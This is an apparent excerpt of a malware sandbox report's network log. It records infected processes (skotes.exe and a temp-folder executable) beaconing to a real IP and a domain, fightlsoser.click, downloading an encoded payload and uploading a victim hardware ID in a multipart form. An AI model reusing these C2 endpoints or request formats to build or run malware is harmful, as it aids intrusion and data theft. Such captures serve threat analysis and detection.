ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(Pi@i@M$a$$ $h@.rsrc$x@.idata $z@ p*$\|@gyzmglan0O~@erycfrrz@i@.taggant0Pi"@
Dec 13, 2024 01:51:59.843524933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 13, 2024 01:51:59.843559980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 13, 2024 01:51:59.843596935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 13, 2024 01:51:59.843631983 CET	1236	IN	Data Raw: 1d da f7 e6 5a 92 d4 8b 1a 9f 13 f3 2c 57 b8 ac df 73 6c 92 5b 4f b1 62 b3 57 f4 c9 bf d3 9c 9d eb 11 a5 74 db 09 8d ac 20 ad bd 28 fa 39 bb 76 03 37 bd 72 07 c7 ac b6 2f 57 60 5b 75 68 64 4b 1f 5b 58 5a c7 d5 9c 72 1c 7f b0 da b7 77 6c 73 d9 38 Data Ascii: Z,Wsl[ObWt (9v7r/W`[uhdK[XZrwls8TaDC-Dj6t{i]lY`B1rG9'[TX\lbW[*'X\OYz"SfrQn% _tv1^&GQGbAwq}crPh0Kq
Dec 13, 2024 01:51:59.843667984 CET	1236	IN	Data Raw: e9 2f bb 2e be 47 a1 8b 1e 58 ed d7 33 8c 3f e4 09 6f 38 3c ed 37 86 63 94 36 56 fe ed 67 e9 43 48 b1 6b 39 d7 b6 19 a3 f8 aa 54 f4 a2 ae 6c a6 b0 ea 6b 1d 76 8e d5 a2 d4 f2 72 6c 0c 59 ca e5 96 a0 b7 12 57 c6 6b c9 0f c8 ba fd 2e b7 6c e7 6d 56 Data Ascii: /.GX3?o8<7c6VgCHk9TlkvrlYWk.lmV_",#kzkeR}i;S$W/y&cl_KV0zV}cJV^8Oc>i=+YE$)&+1ubMm4~gV?0CYU
Dec 13, 2024 01:51:59.843723059 CET	1236	IN	Data Raw: 1d a2 a4 e6 e8 cf 53 1a 57 61 72 7b ee 70 33 6d e9 f3 83 f2 1d c0 1c 70 2d 91 dc 7b 9b 57 58 0a 27 31 80 08 96 9f 44 79 a3 d3 56 72 53 94 30 b4 d1 3d f3 73 d7 6f 08 97 0e 63 e5 6f 7d 13 7d 8a 15 77 8a 76 43 c0 4c ef e8 19 bd 92 e9 5f c4 e6 b2 d8 Data Ascii: SWar{p3mp-{WX'1DyVrS0=soco}}wvCL_G]:O]GRc&VZXYdP@tD_T7@mR[qL}glc\|3D+>edb6`0s#cU0l>~vxv$c~W*V"[D\|K
Dec 13, 2024 01:51:59.843760967 CET	1236	IN	Data Raw: d7 8a 8a 8f 3d 7b 0c df 55 f6 6c 6e 3c d6 10 a5 2f 65 84 c6 57 e0 ad 67 d6 bf 6c 78 5f 94 94 62 f1 ca d3 e9 ee 60 b4 73 3b d3 b6 76 b6 b1 a3 76 47 65 53 1e d7 67 ed fa 12 e3 8b 82 7f 65 b6 4e ee ff ef 83 c9 aa 6c 72 b2 ec 4c cc 2f a3 a3 8a 3b 91 Data Ascii: ={Uln</eWglx_b`s;vvGeSgeNlrL/;nTk)z(~_=cO\|egMxKW@Ux_UkGx},}WnePb=Ikw{cTL/[_^\|wXdzcaP6NfeJy
Dec 13, 2024 01:51:59.843794107 CET	1236	IN	Data Raw: 7b 58 33 e1 ec a4 83 76 1b fd 78 78 ef 8b b8 fe 56 97 61 a4 a8 57 4c 8e 6b 83 8a 8b 3b 64 4b e9 54 8f 8a 7a 2f d3 3c e0 16 62 ab 67 0b af 7f 78 3e 57 80 e4 54 4c 6f e9 95 d4 91 da d5 68 9c b5 3f 68 b7 46 ed ec f4 e7 e8 d7 ac 81 53 e3 32 79 57 df Data Ascii: {X3vxxVaWLk;dKTz/<bgx>WTLoh?hFS2yWGY/[q$9ZR~qfV[W4n#wL}/67xbsTAN{Lq%YE[:Tcm
Dec 13, 2024 01:51:59.843828917 CET	1236	IN	Data Raw: 0b 65 84 e6 5a 4b ee a7 d9 51 d9 d0 b7 e3 7b ac 63 60 a0 e4 ec 3c 74 9c d1 f3 f8 78 4f 71 1c ed af 26 74 f3 92 0b b4 7b ff dc 78 e8 c7 64 8a 42 9e 50 66 aa ab d3 50 2e bd a3 f7 ac 34 71 8a 46 ee 3b 6d 42 3e 91 07 63 ec df cd ea e8 57 af e2 ba dc Data Ascii: eZKQ{c`<txOq&t{xdBPfP.4qF;mB>cWqo\|{~bSsfW[{^pe'$sUy=rbrV-pvc~\1,LK#3Ge$x'me(cVvRapd!4Cps'
Dec 13, 2024 01:51:59.963623047 CET	1236	IN	Data Raw: bf 59 9a 39 71 a8 7d b2 e3 21 f3 bd 15 a7 ec 9f 2e 03 b1 70 b3 a5 49 41 55 7d 81 26 6a 85 56 b6 d2 6e 88 b8 52 3d 54 61 1a c5 63 90 71 25 b2 40 ee 40 55 24 27 6d 98 3a 2f e5 53 86 ea d4 80 e2 c2 33 e9 bc 51 90 2c 0f d7 f6 47 a7 4b 79 98 f2 8a 58 Data Ascii: Y9q}!.pIAU}&jVnR=Tacq%@@U$'m:/S3Q,GKyXcp}RJ5n{o_$cI9\|o!$V)N~\|Uk=m{`:q,ZZbRw2bke0e(zUrmB+*6Z\|E$5hW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49940	185.215.113.43	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:52:05.809901953 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014589001&unit=246122658369
Dec 13, 2024 01:52:07.154532909 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:52:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49843	172.67.213.48	443	7216	C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:41 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fightlsoser.click
2024-12-13 00:51:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-13 00:51:41 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kcd1dgu4f69ipq7f7e4hbe13f0; expires=Mon, 07-Apr-2025 18:38:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2hoZWtoXx9MdRFaGeCtw%2FPX%2FMlHfTNkkk9ZtsppAEt%2FDPAc2OxBil3jbD2rfboj0iB5nJd8j6FCH7ay5iHYHaUOyvEFK0XtkZZQ2WRceaprbmdb5dX5gyM3YtDiD0%2BSaAsd6Pw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f798596d42aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1648&rtt_var=644&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1771844&cwnd=195&unsent_bytes=0&cid=848175e08ee126a1&ts=723&x=0"
2024-12-13 00:51:41 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-13 00:51:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49849	172.67.213.48	443	7216	C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:43 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 50 Host: fightlsoser.click
2024-12-13 00:51:43 UTC	50	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 4d 42 73 54 77 2d 2d 49 6e 73 74 61 6c 6c 73 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=cMBsTw--Installs&j=
2024-12-13 00:51:44 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vjvg741859cfprndka3hdno30g; expires=Mon, 07-Apr-2025 18:38:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VOvuN%2Bh7YqD9bCAZr9OtTqOtfrd9uYpoOVTZTrgXaBST%2B5ejYND62ktMrH7AtCpIUQubd34I%2BC1nKw43Vy5bkjg4pGaPMaH5zTGjC2z4yrU%2Fv7WY82uMrrQKiDKp5k9fXiY4ZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7a658e68c06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1982&min_rtt=1975&rtt_var=756&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=951&delivery_rate=1432777&cwnd=163&unsent_bytes=0&cid=861115d8de61c420&ts=1105&x=0"
2024-12-13 00:51:44 UTC	349	IN	Data Raw: 31 64 33 34 0d 0a 70 33 4d 37 2f 30 6c 4d 68 43 36 56 64 6b 69 50 45 2f 61 72 69 69 74 52 32 2b 52 50 54 30 50 56 4a 53 53 32 7a 66 31 47 38 6f 62 63 55 55 33 64 63 33 69 6f 44 4f 59 54 61 72 56 6e 68 4e 37 76 42 33 4f 36 67 47 31 31 4a 62 52 4a 56 39 50 68 33 7a 43 66 70 4a 30 56 57 70 4d 36 4b 61 67 4d 38 41 35 71 74 55 69 4e 69 65 39 46 63 2b 48 47 4b 69 55 68 74 45 6c 47 31 36 61 53 4e 70 37 6c 7a 78 39 63 6c 79 77 76 34 45 2f 35 47 79 33 71 64 70 66 42 35 45 49 38 73 34 6c 74 59 32 47 77 58 77 61 4d 37 37 41 6a 68 75 66 71 45 6b 69 55 61 7a 47 6f 56 62 63 54 4a 71 30 70 31 4d 72 76 53 54 32 39 67 43 51 6e 4b 37 31 42 52 39 4b 6e 6a 53 2b 55 37 73 38 52 58 35 59 6d 4a 76 52 43 38 78 77 6d 37 48 79 58 69 61 59 4a 4e 4b 48 47 64 57 31 79 68 55 52 58 78 Data Ascii: 1d34p3M7/0lMhC6VdkiPE/ariitR2+RPT0PVJSS2zf1G8obcUU3dc3ioDOYTarVnhN7vB3O6gG11JbRJV9Ph3zCfpJ0VWpM6KagM8A5qtUiNie9Fc+HGKiUhtElG16aSNp7lzx9clywv4E/5Gy3qdpfB5EI8s4ltY2GwXwaM77AjhufqEkiUazGoVbcTJq0p1MrvST29gCQnK71BR9KnjS+U7s8RX5YmJvRC8xwm7HyXiaYJNKHGdW1yhURXx
2024-12-13 00:51:44 UTC	1369	IN	Data Raw: 52 58 35 4d 71 49 2b 5a 65 2f 78 38 68 36 47 4f 66 77 4f 56 45 4d 37 53 4d 49 69 34 68 73 45 31 4d 32 36 57 62 4b 5a 33 69 78 52 45 5a 30 32 73 70 2f 67 79 76 56 41 6e 6f 59 5a 50 46 2f 67 73 4a 2b 5a 6c 6a 4e 47 47 77 53 77 61 4d 37 35 63 68 6b 2b 66 4f 48 6c 71 56 49 44 7a 6d 58 76 45 5a 4c 2f 39 33 6b 63 66 69 53 69 47 7a 69 43 73 75 4b 4c 78 4f 51 39 4f 72 33 32 72 51 34 39 31 52 41 64 30 4b 49 2b 31 41 2f 51 4d 71 72 57 37 61 30 4b 68 4f 50 2f 6e 65 62 53 6b 67 73 30 5a 43 32 71 47 62 4b 4a 62 71 79 42 35 66 6c 79 73 70 37 45 54 2f 46 53 66 6d 66 70 54 4d 35 55 30 31 74 59 63 6f 62 57 2f 33 51 46 36 55 39 39 38 4b 6c 2b 66 58 55 32 79 65 4a 53 44 68 57 72 63 4c 5a 50 51 78 6b 38 57 6f 45 58 4f 33 67 79 49 2f 49 4b 56 43 53 4d 61 6a 6d 69 4b 64 35 38 Data Ascii: RX5MqI+Ze/x8h6GOfwOVEM7SMIi4hsE1M26WbKZ3ixREZ02sp/gyvVAnoYZPF/gsJ+ZljNGGwSwaM75chk+fOHlqVIDzmXvEZL/93kcfiSiGziCsuKLxOQ9Or32rQ491RAd0KI+1A/QMqrW7a0KhOP/nebSkgs0ZC2qGbKJbqyB5flysp7ET/FSfmfpTM5U01tYcobW/3QF6U998Kl+fXU2yeJSDhWrcLZPQxk8WoEXO3gyI/IKVCSMajmiKd58
2024-12-13 00:51:44 UTC	1369	IN	Data Raw: 4a 53 44 68 57 72 63 4c 5a 50 51 78 6b 38 57 6f 45 58 4f 30 6a 69 67 6f 4c 72 5a 4e 53 4e 47 6c 6b 79 79 65 35 39 63 65 58 5a 30 6e 4a 75 78 42 2b 52 41 69 35 48 71 66 7a 2b 68 49 4f 66 6e 49 62 53 6f 35 39 78 38 47 34 4b 69 54 4b 5a 2b 6d 38 42 4a 58 6b 79 77 34 70 6c 4f 35 44 57 72 71 66 64 53 52 71 45 55 36 75 59 30 6e 4b 53 47 77 53 6b 50 58 71 4a 77 70 6c 2b 37 4c 46 6c 32 52 49 69 50 67 54 50 41 51 4c 2f 39 30 6e 63 58 6b 43 58 33 35 67 54 56 74 65 66 64 6f 51 63 4b 73 73 43 65 42 37 59 55 4f 46 34 52 72 4b 65 6f 4d 72 31 51 74 36 48 6d 66 7a 2b 42 4a 49 62 79 49 4a 69 77 72 73 55 5a 4c 32 4b 6d 66 4a 5a 44 69 79 52 46 65 6d 6a 6b 38 34 30 72 6c 48 6d 71 6a 4d 5a 50 52 71 42 46 7a 6a 35 59 36 50 44 66 31 63 6b 58 61 6f 5a 67 79 30 50 75 4c 43 42 6d Data Ascii: JSDhWrcLZPQxk8WoEXO0jigoLrZNSNGlkyye59ceXZ0nJuxB+RAi5Hqfz+hIOfnIbSo59x8G4KiTKZ+m8BJXkyw4plO5DWrqfdSRqEU6uY0nKSGwSkPXqJwpl+7LFl2RIiPgTPAQL/90ncXkCX35gTVtefdoQcKssCeB7YUOF4RrKeoMr1Qt6Hmfz+BJIbyIJiwrsUZL2KmfJZDiyRFemjk840rlHmqjMZPRqBFzj5Y6PDf1ckXaoZgy0PuLCBm
2024-12-13 00:51:44 UTC	1369	IN	Data Raw: 46 37 2f 47 69 66 6d 66 70 2f 62 36 45 51 33 74 59 49 6c 4a 69 76 33 43 51 62 54 74 39 39 38 30 4e 48 49 48 6c 6d 65 50 57 37 35 41 75 35 55 4c 65 45 78 7a 49 6e 6b 52 7a 4f 32 69 69 45 6d 4b 62 5a 4c 53 4e 4f 71 6c 69 79 59 39 73 51 56 55 5a 77 6c 49 65 64 49 38 68 45 75 36 6e 57 53 78 71 67 48 63 37 36 65 62 58 56 68 6d 47 42 7a 6c 6f 36 6c 5a 49 2b 71 33 46 46 65 6b 57 74 32 70 6b 44 30 47 43 4c 69 64 35 33 46 34 6b 41 34 74 59 30 70 49 53 69 79 51 55 66 52 71 70 34 67 6e 4f 37 44 45 6c 71 53 4a 43 48 75 44 4c 6c 55 4c 66 55 78 7a 49 6e 4e 58 6a 69 33 67 47 30 79 62 36 34 48 51 64 6a 76 78 32 53 63 37 63 4d 58 58 4a 45 71 4b 4f 35 4a 2f 78 41 72 36 33 65 58 78 75 78 4d 4d 72 61 43 49 53 4d 72 74 6b 5a 4b 33 36 43 55 49 64 43 71 68 52 5a 42 33 58 4e 75 Data Ascii: F7/Gifmfp/b6EQ3tYIlJiv3CQbTt9980NHIHlmePW75Au5ULeExzInkRzO2iiEmKbZLSNOqliyY9sQVUZwlIedI8hEu6nWSxqgHc76ebXVhmGBzlo6lZI+q3FFekWt2pkD0GCLid53F4kA4tY0pISiyQUfRqp4gnO7DElqSJCHuDLlULfUxzInNXji3gG0yb64HQdjvx2Sc7cMXXJEqKO5J/xAr63eXxuxMMraCISMrtkZK36CUIdCqhRZB3XNu
2024-12-13 00:51:44 UTC	1369	IN	Data Raw: 4d 76 35 6e 36 59 69 61 59 4a 4e 4b 48 47 64 57 30 50 76 46 52 52 31 36 47 55 4d 6f 75 6b 32 6c 39 41 33 53 77 69 70 68 53 33 46 79 48 6d 64 5a 54 46 36 45 30 2b 75 5a 51 69 4b 69 61 2b 54 46 54 65 71 4a 67 76 6d 4f 2f 4b 46 30 75 52 4a 54 7a 6a 58 75 56 55 5a 4b 31 32 6a 49 6d 77 43 51 57 2b 6c 6a 30 75 59 34 5a 52 52 63 4b 6b 6b 69 6a 51 2b 34 73 49 47 5a 6f 6e 62 72 34 4d 38 52 73 6a 37 6e 36 56 77 4f 52 45 4e 72 43 44 4c 43 73 6c 76 55 31 47 30 71 6d 65 49 5a 72 6e 78 42 74 51 6d 69 4d 70 35 56 36 33 57 6d 72 71 61 64 53 52 71 47 41 30 71 34 67 39 62 54 37 35 58 67 62 54 6f 39 39 38 30 4f 44 50 48 6c 32 61 4a 79 6a 6a 53 76 6f 56 4a 65 78 78 6d 38 33 6a 51 44 57 34 69 79 67 67 4a 61 56 4e 54 64 75 6a 6c 69 69 64 70 49 74 52 58 6f 56 72 64 71 5a 39 2b Data Ascii: Mv5n6YiaYJNKHGdW0PvFRR16GUMouk2l9A3SwiphS3FyHmdZTF6E0+uZQiKia+TFTeqJgvmO/KF0uRJTzjXuVUZK12jImwCQW+lj0uY4ZRRcKkkijQ+4sIGZonbr4M8Rsj7n6VwORENrCDLCslvU1G0qmeIZrnxBtQmiMp5V63WmrqadSRqGA0q4g9bT75XgbTo9980ODPHl2aJyjjSvoVJexxm83jQDW4iyggJaVNTdujliidpItRXoVrdqZ9+
2024-12-13 00:51:44 UTC	1369	IN	Data Raw: 37 68 73 50 6a 54 44 36 30 69 79 34 72 4a 37 78 4c 56 4e 32 76 6e 43 2f 51 71 6f 55 57 51 64 31 7a 62 73 56 62 34 52 34 74 34 57 65 66 79 4f 74 66 50 71 6e 47 59 32 30 77 73 46 59 47 6a 4c 6d 50 4d 35 66 37 69 77 67 5a 6d 69 64 75 76 67 7a 78 48 53 7a 71 64 35 72 62 37 55 38 38 74 6f 38 6b 4b 53 6d 30 52 30 4c 51 71 4a 6f 6e 6e 4f 2f 43 45 6c 61 5a 49 69 44 76 51 37 64 61 61 75 70 70 31 4a 47 6f 61 43 69 36 69 69 42 74 50 76 6c 65 42 74 4f 6a 33 33 7a 51 36 4d 73 55 57 5a 63 74 4b 75 4e 4b 2f 52 45 71 35 6e 4b 62 7a 65 35 4e 50 4c 6d 4e 4a 43 77 6e 73 6b 31 4e 30 71 4b 63 49 70 61 6b 69 31 46 65 68 57 74 32 70 6d 7a 73 47 53 62 71 4d 59 75 48 38 51 6b 30 74 63 5a 31 62 53 71 37 51 30 48 55 6f 70 77 73 6c 65 44 50 46 46 6d 56 4f 53 62 6d 53 2b 55 47 4b 75 Data Ascii: 7hsPjTD60iy4rJ7xLVN2vnC/QqoUWQd1zbsVb4R4t4WefyOtfPqnGY20wsFYGjLmPM5f7iwgZmiduvgzxHSzqd5rb7U88to8kKSm0R0LQqJonnO/CElaZIiDvQ7daaupp1JGoaCi6iiBtPvleBtOj33zQ6MsUWZctKuNK/REq5nKbze5NPLmNJCwnsk1N0qKcIpaki1FehWt2pmzsGSbqMYuH8Qk0tcZ1bSq7Q0HUopwsleDPFFmVOSbmS+UGKu
2024-12-13 00:51:44 UTC	290	IN	Data Raw: 71 48 64 7a 71 34 55 39 4c 69 36 6d 65 51 61 4d 74 71 46 6b 6d 2f 4c 43 41 56 71 4c 49 43 50 71 58 63 6c 55 63 72 6b 6a 78 70 75 36 47 79 7a 35 6d 52 4a 6a 59 62 59 48 48 75 32 32 33 7a 4c 51 76 4a 64 66 47 59 39 72 64 71 59 4c 39 41 59 34 36 33 4b 43 79 71 39 33 44 5a 36 51 4a 79 6f 78 73 46 42 4a 6c 4f 48 66 4b 39 43 38 2f 46 46 51 6d 6a 41 2f 38 45 48 6e 45 32 72 53 50 39 54 52 71 42 46 7a 6a 49 55 6a 49 79 61 68 56 67 76 7a 75 5a 55 6a 67 4f 50 53 48 68 6e 54 61 79 69 6d 46 4b 52 61 61 75 6c 67 31 4a 47 34 47 32 6a 73 31 58 70 39 63 36 67 4a 58 35 53 35 33 33 7a 43 71 6f 55 44 47 63 56 72 61 65 56 65 35 52 49 70 2b 33 4c 54 39 39 5a 75 4b 62 53 41 4f 6a 77 66 69 55 42 63 32 61 6d 49 4e 64 7a 78 78 68 39 58 6d 6a 31 75 71 41 7a 34 56 48 4c 55 4d 64 79 Data Ascii: qHdzq4U9Li6meQaMtqFkm/LCAVqLICPqXclUcrkjxpu6Gyz5mRJjYbYHHu223zLQvJdfGY9rdqYL9AY463KCyq93DZ6QJyoxsFBJlOHfK9C8/FFQmjA/8EHnE2rSP9TRqBFzjIUjIyahVgvzuZUjgOPSHhnTayimFKRaaulg1JG4G2js1Xp9c6gJX5S533zCqoUDGcVraeVe5RIp+3LT99ZuKbSAOjwfiUBc2amINdzxxh9Xmj1uqAz4VHLUMdy
2024-12-13 00:51:44 UTC	1369	IN	Data Raw: 32 62 65 38 0d 0a 53 72 64 4d 65 71 4d 78 6b 4e 69 6f 45 57 50 72 33 58 68 2b 64 75 63 56 57 5a 71 32 33 7a 4c 51 76 4a 64 66 47 59 39 72 64 71 59 4c 39 41 59 34 36 33 4b 43 79 71 39 33 44 5a 65 42 4b 79 67 6d 70 77 56 6f 33 37 75 59 5a 4e 36 6b 79 6c 45 42 70 47 74 6d 70 6e 4f 35 56 44 4b 74 4b 64 54 38 36 30 63 39 76 70 41 38 59 41 2b 77 51 55 50 54 76 39 30 4b 6d 2f 44 43 55 52 66 64 4c 57 36 2b 48 4c 6c 55 4c 76 77 78 7a 4a 6d 36 45 6d 62 71 30 58 31 2f 50 76 6c 65 42 73 4c 76 78 33 62 65 70 4e 64 52 41 64 31 73 4c 66 52 65 38 52 63 38 37 6a 61 71 39 2b 74 66 50 72 61 4e 4c 42 4d 66 6d 55 70 48 31 36 48 64 46 59 62 70 31 52 4a 63 6d 68 55 51 36 45 76 6a 45 79 54 72 63 64 53 48 71 45 5a 7a 34 62 39 74 5a 57 47 49 43 51 62 4d 37 38 64 6b 70 65 66 4c 48 Data Ascii: 2be8SrdMeqMxkNioEWPr3Xh+ducVWZq23zLQvJdfGY9rdqYL9AY463KCyq93DZeBKygmpwVo37uYZN6kylEBpGtmpnO5VDKtKdT860c9vpA8YA+wQUPTv90Km/DCURfdLW6+HLlULvwxzJm6Embq0X1/PvleBsLvx3bepNdRAd1sLfRe8Rc87jaq9+tfPraNLBMfmUpH16HdFYbp1RJcmhUQ6EvjEyTrcdSHqEZz4b9tZWGICQbM78dkpefLH
2024-12-13 00:51:44 UTC	1369	IN	Data Raw: 75 38 41 79 76 52 6d 53 74 59 39 53 52 71 41 34 77 71 35 51 72 4c 6a 65 30 41 48 6a 71 69 4a 45 6a 6b 66 4c 56 48 46 57 38 4b 44 2f 73 63 73 6b 42 4b 65 4e 2f 6b 39 2f 35 43 58 33 35 69 57 31 31 47 50 63 50 42 75 76 68 33 7a 7a 51 76 49 55 6b 57 70 4d 6c 4b 66 42 64 75 6a 4d 6b 36 6e 43 43 32 65 56 46 45 72 71 58 4a 32 31 76 39 30 45 47 6a 50 33 52 5a 4a 54 31 68 55 6b 4a 7a 33 42 37 74 52 75 6e 52 6a 57 6a 61 4e 54 66 71 42 46 68 39 38 59 2f 62 58 6e 33 41 45 58 47 76 5a 6b 6e 68 75 65 43 4c 32 65 34 50 43 33 32 53 76 51 71 46 4d 5a 39 6b 73 37 79 54 6a 57 66 70 6d 31 6a 59 62 67 48 48 75 33 76 31 32 53 76 71 6f 55 4a 47 63 56 72 47 2b 56 43 2b 52 4d 38 2f 44 79 78 33 75 74 5a 4e 62 72 47 59 32 30 6e 39 78 38 57 6d 75 2b 62 4e 64 43 38 6c 55 4d 43 79 48 Data Ascii: u8AyvRmStY9SRqA4wq5QrLje0AHjqiJEjkfLVHFW8KD/scskBKeN/k9/5CX35iW11GPcPBuvh3zzQvIUkWpMlKfBdujMk6nCC2eVFErqXJ21v90EGjP3RZJT1hUkJz3B7tRunRjWjaNTfqBFh98Y/bXn3AEXGvZknhueCL2e4PC32SvQqFMZ9ks7yTjWfpm1jYbgHHu3v12SvqoUJGcVrG+VC+RM8/Dyx3utZNbrGY20n9x8Wmu+bNdC8lUMCyH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49862	172.67.213.48	443	7216	C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:46 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UK0D69ZAE4IC2JEO2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18160 Host: fightlsoser.click
2024-12-13 00:51:46 UTC	15331	OUT	Data Raw: 2d 2d 55 4b 30 44 36 39 5a 41 45 34 49 43 32 4a 45 4f 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 55 4b 30 44 36 39 5a 41 45 34 49 43 32 4a 45 4f 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 4b 30 44 36 39 5a 41 45 34 49 43 32 4a 45 4f 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 4d 42 73 54 77 2d 2d 49 6e 73 74 61 6c 6c 73 Data Ascii: --UK0D69ZAE4IC2JEO2Content-Disposition: form-data; name="hwid"4541E19FBBB2CF6723D904AF30EFEBBC--UK0D69ZAE4IC2JEO2Content-Disposition: form-data; name="pid"2--UK0D69ZAE4IC2JEO2Content-Disposition: form-data; name="lid"cMBsTw--Installs
